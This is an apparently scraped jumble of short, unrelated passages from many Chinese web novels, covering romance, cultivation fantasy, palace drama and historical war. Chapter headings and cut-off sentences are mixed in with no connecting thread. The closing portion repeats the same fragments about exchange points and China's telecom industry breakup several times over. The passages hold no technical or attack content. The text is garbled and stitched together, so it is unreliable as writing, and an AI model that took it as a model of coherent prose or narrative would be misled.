“不行。”叶枫还是摇了摇头不答应。看了看时间,已经晚上八点了。是该走了。 李烨也懒得管具体的事情,既然放心让阿布思望去做,自己如果多‘插’手,反而不美了,既 想让手下人把事情做好,又舍不得放手让他们做,这是上位者的大忌。 我学着平时他吻我的样子依葫芦画瓢。刚开始的时候他一动不动。任由我对他“胡作非为”。可时间一久。他终于动容起來。开始一点点的回应我。再到最后化被动为主动。 “你!”美髯男子酒杯一敦,提起筷子就抽,中年人捂住脑袋往后闪。 “等等,我来开你这一辆如何?”叶枫突然拍了拍那车子一下对着李威笑道。 “说起来我这师父也挺不称职的,这么久了都没教导你多少时间。”夜影也是笑道。 云瑶和顾清铭成婚后的第二天,便进宫向沈澈和陆映泉谢恩。 武姓少年单手一伸,笑着说道。煞姓少年微微点头,身前凭空出现一把长剑,而后一跃而上,落在长剑上,手诀一掐,长剑咻地一下窜了出去。 第一百一十九章 跨海行(3) 东都和平易手。 当此环境,各人有各人的心思。 东都百姓虽说早有期待,但事到临头还是禁不住欢呼雀跃,陈米粥的香味弥漫满城;随行黜龙帮的各路军士终于结束这一场绵延大半年,辗转不知道多少里路的战争,回家受赏,自然也不免让整个东都的那么多道天街一起酒香弥漫,甚至到了所有布匹、首饰、牲畜,乃至于字 玉铸面容,眉心一道诛红,眉飞入鬓,带起一丝不同寻常的冷煞之气,偏睫毛极长,眼纹细长微挑,转眸流动间却无一丝魅妖之气,染一层薄透晨曦之光,锋棱尽现,反而更多是令人戚戚胆寒的尊贵威严之势。 好在这里是会稽学馆,寻几个愿意跟他上任的丙科同窗却是不难。 “好心塞呀,夜啼大大请假停更了。”抱着手机,侠客有些遗憾有些郁闷的说。 秀眉横波,色魂授予。平时里清丽素雅的容貌看起来如同妖精附体一般是极的妩媚诱惑,里维斯特伸手抚摸着安泽一的脸,在心里面感慨,大凡天之所命尤物也,不妖其身,必妖于人。 用手比划一番后,把自己会的字又复习一遍。别以为这很简单,繁体字毕竟和简体字不一样,为了不让自己弄错,他可是花了大力气去学的。 至于他爹的想法,他随便猜猜都能猜得出,他怕的是自己尚主,然后陛下让自己袭爵,抢了大哥的爵位。 白芷静静看着舞伎们跳着古老而忧美的舞蹈,其实心思并没在这儿,她在想,她得找个机会告诉相王,她有喜欢的人才是。 楚苍焱非常有心,这里的一草一木都是他用心设计的,让安蜜儿倍感舒适。 几个丫环婆子也都是狗仗人势的主,一听到主子吩咐便都朝着碧玉扑过来。 不想,先前听那仆役胡乱叫唤,以为孟尝君恶疾复发,命在旦夕,却不料却是苏醒了过来。 然后,他就获得了一股神力的加持,气息一拔,变得更加的强大了起来。 到了神游境界,阔星意念无比强大,周围一切细微的能量波动,都能被他清晰的感觉到。 更重要的是,他们收获了满满的成就感和自信,加上林灿能加属性的凉茶,连续几天都在大中午的时候让大家喝下一杯,这个效果是杠杠的,同学们的学习效果都是突飞猛进。 “你,流氓!”林枫再次被打击到了,心道你都没看到就凭空猜测,你怎么知道不是庞然大物? 周围看热闹的那些邻居们也是深以为然,毕竟刘泽宇 说林灿在一中门口放狗咬他这事,是怎么听怎么不靠谱。 魔法道具之所以能够施展魔法,靠的就是将大量魔纹组合而成的魔纹阵列,仔细说来复杂,总之这是一门高深的学问。 宇宙中,与太阳系相似的星系其实有很多,但同时满足多个条件,杨天就敢肯定,这就是地球,虽然上面的陆地形状与如今地球的陆地形状有此不一样。 这时,可以看到乌鹿的嘴角边,都有一丝血渍,看来刚才王虫那一扫,让他受了伤,也不知道伤得重不重。 虽然阎宁心中已经证实了灵气质变与灵气空间之间并没有直接的关系,但他知道的也就这些,在大家一头雾水的时候,如果说有什么线索的话,无非就是灵气空间了。 如果他们战死,亲属就会获得丰厚的抚恤,这种奖罚制度,与中国古时秦朝类似。 第一百二十章 跨海行(4) 五月雨纷纷扬扬,总是按时往来。 月底时分,雨水还没停呢,东都城就开始扰攘起来,数不清的头领陆续自全国各地抵达,天街上,坊市内,到处都是说着古怪河北话的人……想想也是,据说现在东都城里有近四百头领,这倒不算什么,但这些头领又不是一个人来的,许多人带着整队的文书、参军,而且既然到了,总免不了面上招 确实,三天没有npc的服务,待在这个镇子里也无济于事,还不如早早去其他镇子找找机会。 因为刚才的战场已经转移到了离屠府很远的地方,所以纵使几人全速返回屠府,副本的剩余时间也不够他们帮胡继风寻找妹妹。 尽管他的【地耳】已经掌握了方圆几十里的情况,尽管他知道这附近根本就没有别的人,他的心中还是忍不住有些惊悚和害怕。 “给,刚才没吃啥,现在人走了,多吃点。”沈云芳说着,把饭桌上的盘子收拾了一下,把就剩下底的菜汤都给端下去,然后从空间里又拿出几个现成的菜来,和李红军一起在吃点。 区别于上次的无奈选择,李晨风现在可真是扬眉吐气了一番——咱也是能潇洒坐马车的人了。 故而当这个计划被赵德胜提出时,即便他身旁的着百余人都是一等一的悍勇轻死之辈,却也依旧不禁感到一阵心惊。 不请自来的客人永远不会缺少,就在李晨风和李隆一聊得火热的时候,包厢的门又被打开了,这熟悉的腔调和话语,显然来者正是昨日遇到的赵林豹。 等到下午差不多是两点多钟,张世华正在大堂里想明天该如何训练,忽然听到敲门声,然后就听到鹿哥喊道:官人驴哥他带着东西回来了,现在就在门口呢。 她今年的收成还是不错,两块地加一起一共收了苞米八百多斤,地瓜伍佰多斤,大豆一百斤左右,还有插空种的花生,收了一百多斤,算是意外之喜。 左馗第一次看他脸上失去了那副吊儿郎当的不正经,反而换上了一副魄力摄人的面孔。 “不管怎么说,我们现在总归是要去试一下的吧?”另外一个长老开口说道。 此时此刻,何盈的心平静到了极点。她经历过无数次生死大关,虽然往往会在初期出现慌乱,但是,她的心,早被这些生死磨练得坚硬无比。 虽然只有使用权,但是只要在一年内不辞职,一年之后,就是你的手机了。 天圆的大门前,早就跪着二十来个丫环奴才。看到王称和何盈到来,一个个悄悄的 抬眼向他们打量着,目光中十分的好奇。 “进攻!”这次科拉倒是没有继续说什么,而是直接开口说道。随着科拉的命令,整个战场的局面直接投射到了战舰里面的作战指挥室里面。 只要做了出去,华老他们那里也算是能化解一些对庞家不利的看法了。 古锋所在的位置属于东区,比其他三个区要繁华很多,潜藏的强者也是无数。 何盈看到他的表情,又是微微一笑,这一笑,玉脸生辉,动人之极。 浅夏身为府上的少夫人,自然是要帮着王妃来回应酬的。再加上今日是婆婆的寿辰,许多的事务,自当就是由她来亲自打理的。 要知道营救行动,本就是在兽人基地上虎口夺食,一场激烈碰撞在所难免,此时己方队伍人数增加,胜算便更多一分。 第一百二十一章 跨海行(5)全书完 会议没有任何差池,即便是最忧心征伐东夷会引起民间骚乱的人,担心两条真龙会并出而损失惨重的人,在面对之前张行登基前要求全帮立下的誓言时也都彻底放下了多余的心思……因为这不仅是私人对张皇帝的誓言,更是整个黜龙帮对天下的政治承诺,没有人有资格反对。 随即,就以徐世英提案的为基础,通过了可能是代表了整 尹俊枫惊愕地看着这一幕,之前他就想着皇家古言及有关的剑灵之事,没有想到的是,就在这一刻,他真的见到了剑灵。 很明显的,习择他们根本就没有得到大汉帝国吕金符的支持,吕金符更没有让他们却救张家人——仅仅是习择想要救他们罢了,他们玩的这一套,说简单了就是空手套白狼,扯虎皮拉大旗。这乃是一箭双雕之计。 虽然他对此是不爽,但是再如此处境尴尬的时候,他勉强还是与学员们是同一阵地的。 “一个武者,岂能是贪生怕死之辈,这是一个武者的归宿好不好!去吧,死在我的手里,没有委屈你!”倾城弘毅道。 然而,就在刘烨自言自语,并且暗下决心之时,徐庶,贾诩的身影,出现在了客厅之中。 李忠铭以及另外几个军官甚至对韩梅说,如果998兵港中的盖克猿真的很少的话,兴许都可以凭着这些人重新夺回998兵港。这个想法无疑非常诱人。想想也知道,998兵港失而复得,这绝对是大功一件。 不远处,全息电视正在播放着一个新闻,内容正是围绕着“宋未明约战霍虢虎与怀斯特”这个试下最热的热点展开。 诸葛亮:你淡定,你母亲的老公在此,他比你更急。我已有万全之策,包管你母亲今日救出,你就等好消息吧。 顺着护卫手指的方向,刘烨抬头看到,匾额上确实有袁府字样后,他先是把战马,用缰绳绑在袁府门口的门柱上,然后,拿着信件便想要进入其中。 这里的战场已经被简单的收拾了一下,好多损伤不是太眼中的飞行器,则被蚩尤让人帮忙收拾到一起。 突地,“砰”的一声大响,火焰瀑布和光束的切口处炸出一团白色亮光,火焰顿息,光束散尽,天祈和八大阴帅的身子具是一震,各自向后退了四步。 一连三天。到了第四天,那只海蟹没再出现。可三人既已清楚被跟踪了,也不敢贸然行动,只能暂忍一时。 这时候盛懋还有漪然选择用飞天术撤退,可是白云墨却很清楚,他之前有看过关于灵越狼的介绍。 “谢谢你赶过来救我,这个香包我上次分别的时就想送给你,后来却忘记了,现在请你收下吧!”我拿出兰花香包递给柒萨。 所以再这次比试中,属于夺冠热门。加之实力强悍,凤凰一族能力强盛,所以也是得到许多仙子的仰慕。 夏皓碧召唤了火焰兽,那是一只似麒麟但比麒麟大得多的巨形神兽,身上带着火焰般的肤色,但其实十分温和。 不过他能这样做自然是有他的想法。所以,昀夜并没有过多说什么。 天祈道:“我听你的话,没有打兔子,你看,鱼,螃蟹。”月灵轻轻舒了一口气,天祈又走出洞去,捡了一些干树枝拿进洞来,在洞口堆成一堆,屈指一弹,一点火苗射在了树枝上,天祈吹了吹,燃起火来。 完本感言 那个贼没走多远。她和马南在曲曲折折的隧道才走不到五百步,就遇见他了;他瘫在狭窄的地道上,像团破布被扔在地。他倒下去前,手杖先掉地,落在与他有点距离的地上。他的嘴唇有血,眼睛半闭。 过了好一会儿,蓠魅见她还是那样看着自己,心中顿时生气了疑惑。 于是,微臣又重新将恭亲王福晋的尸首检查了一遍。发现在她的后脑上,头发密集的地方有一些木头的碎片,且有一块被敲打的痕迹。 李晓茹和沈韵韵连忙将刚才发生的事情对陈雪一说,陈雪这才明白自己又误会了陆彦,她也有些尴尬。 一路回到了车上,沈序言让司机径直开回别墅,身边的言若也慢慢恢复了过来。 这次她没有再给他思考的时间,再将这个问题问出来了之后,就一直催促着他回答。 拂儿泪目,此时此刻,她不知该说什么才好。她陪伴了莼兮这么多年,竟然忘记了,莼兮从来都是心疼她们的。 万琉哈依依得了云月这样的好,自然没敢忘了登门谢恩。入了永寿宫,才感念这一处确实与自己所住的永和宫偏殿相差太远。两座宫不过相差一个字,里面从摆设到所居住的人,都相距太远了。 一时间,屋子里又充满了热闹,比起刚才的客气,现在已经多了几分熟悉的味道。 因为他们身上原本并不致命的伤口,此时竟然如同越君离的伤势一般,青黑发紫。 钱多多的脸绿了,方才她能镇定的忽视那些人落在她身上窥探的灵识,可是此时却觉得浑身火烧火燎,根本坐不住了。 “魔族很可怜……”凰北月的话还没有说完,华曦便用弑神之刃将手腕割开。 本来还宽阔的厅堂瞬间变得拥挤,甚至空气中都带着厚重的气息。 凤青龙用力地拖拽着我,我紧紧拉着纳斯,在这一刻,理想、信念都荡然无存,我只有一个念头,逃出去,逃出去,不能象费萨尔一样死在这里,只有逃出去,才能再见到父母、亲人、朋友,心爱的姑娘。 锦霞宫的后院,冷纤凝静静的站在那颗梨花树下,梨花已经不再开了,自从颜贵妃死后,这棵梨花树就再也没开过,似乎是感觉到了主人的离开,就算再开也没有人欣赏了吧。 燕弦歌忽然咆哮一声,狠狠地撞向旁边的墙壁,墙壁立刻就倒了,而他的头,也顿时满是鲜血。 就算是她都无法对付这个大家伙,一个搞不好枫来不及出手帮她,她就会一命呜呼。 “算了,死马当活马医,幸好是遇上我了。”陶然施展道法,加上更多的医术,在这位大叔身上折腾了一阵,对方终于慢慢缓过气来。 太上老君说罢,他从怀中取出四个火罐,其中三个乃是三味真火罐,而另一个则盛的是乾坤风火。 各位:放下这段咱不再提起。单说第二天一早,诗琴奉命入广宁宫随银河、磐耕一同前往天界拜见天帝。 话说诗琴、糊涂仙二人从桃园出来,远远看见吴刚与盘古、夸父仍未离席,坐在那里各把一壶,继续豪饮。 尚未等车上的林天凡来得及看清对方的容貌,对方的腋下,便是突然出现一把沙漠之鹰,那人二话不说,便是朝车上的林天凡一阵扫射。 直到次日早上,佘巡仍然没有搭理白丛丘,而灵力禁锢阵法的破解那边需要白丛丘帮忙,他只好一步三回头地跟着鄂静白他们离开了,那叫一个恋恋不舍。 瘦子对张宝同的菜刀早就心有余悸了,立马接过钱扶着昏过去的兄弟一溜烟的离开了。 和别人分享自己最爱的男人,心中的感觉真的是苦苦的,酸酸的,有些想要哭,却又不敢哭的感觉,酸酸的感觉已经席卷到了眼睛上面,鼻子里面。可是,还要裂开嘴巴笑着。这样的感觉真的好难过。 端木凌煜手指一颤,一根细如牛毛的钢针瞬间插入韩玲珑的喉咙,韩玲珑大睁着眼睛,其中的怨气犹如实质,却是再也没有了说出话来。 “哈哈……林心遥你的心的确很狠!”攥紧林心遥的手臂,温其延用力地摇晃着她。 “你找死!”老者低吼了一声,大手一挥手下众人有开始向宇家冲来。 说话的人正是刚刚被一些记者围着采访过的一个一线明星,叫秦枫,据说将会是这一次的二郎神扮演者。这人一向和媒体关系搞的非常好,所以基本上没有什么负面新闻产生。 看着大家都在热火朝天的干活,程燃出了门去了趟最近的百货商店,不一会提回来大袋的蛋糕,糖果和水果。 徐兰也就不再多问了,程燃做天行道馆她是知道的,也知道是赵青帮的忙,只是程燃先斩后奏,道馆建设起来了他们才知道,接下来就是在学校的成绩丝毫不耽误,完全不给他们指责他不务正业的机会,也就任他去了。 朱红羽没有狄冲霄以元灵雷助力便以体内尚存的三杖魔焰果硬战,到底身处冰灵劫母之内,无源之火无法长久,渐自不敌。 这个世界那么多星空境和宇宙境的家伙,还有一个未知的恐 怖世界,这些都让他必须预留大量兑换点,关键时刻能招出强大的英雄自保才行。 中国通信领域正在发生剧烈变化,产业结构升级带来的调整导致未来两年里更是格局动荡,邮电即将分拆为电信,移动和联通,电信又南北分拆,进一步打破垄断,最终形成电信,移动,联通三分天下的格局。 怖世界,这些都让他必须预留大量兑换点,关键时刻能招出强大的英雄自保才行。 中国通信领域正在发生剧烈变化,产业结构升级带来的调整导致未来两年里更是格局动荡,邮电即将分拆为电信,移动和联通,电信又南北分拆,进一步打破垄断,最终形成电信,移动,联通三分天下的格局。 怖世界,这些都让他必须预留大量兑换点,关键时刻能招出强大的英雄自保才行。 中国通信领域正在发生剧烈变化,产业结构升级带来的调整导致未来两年里更是格局动荡,邮电即将分拆为电信,移动和联通,电信又南北分拆,进一步打破垄断,最终形成电信,移动,联通三分天下的格局。 怖世界,这些都让他必须预留大量兑换点,关键时刻能招出强大的英雄自保才行。 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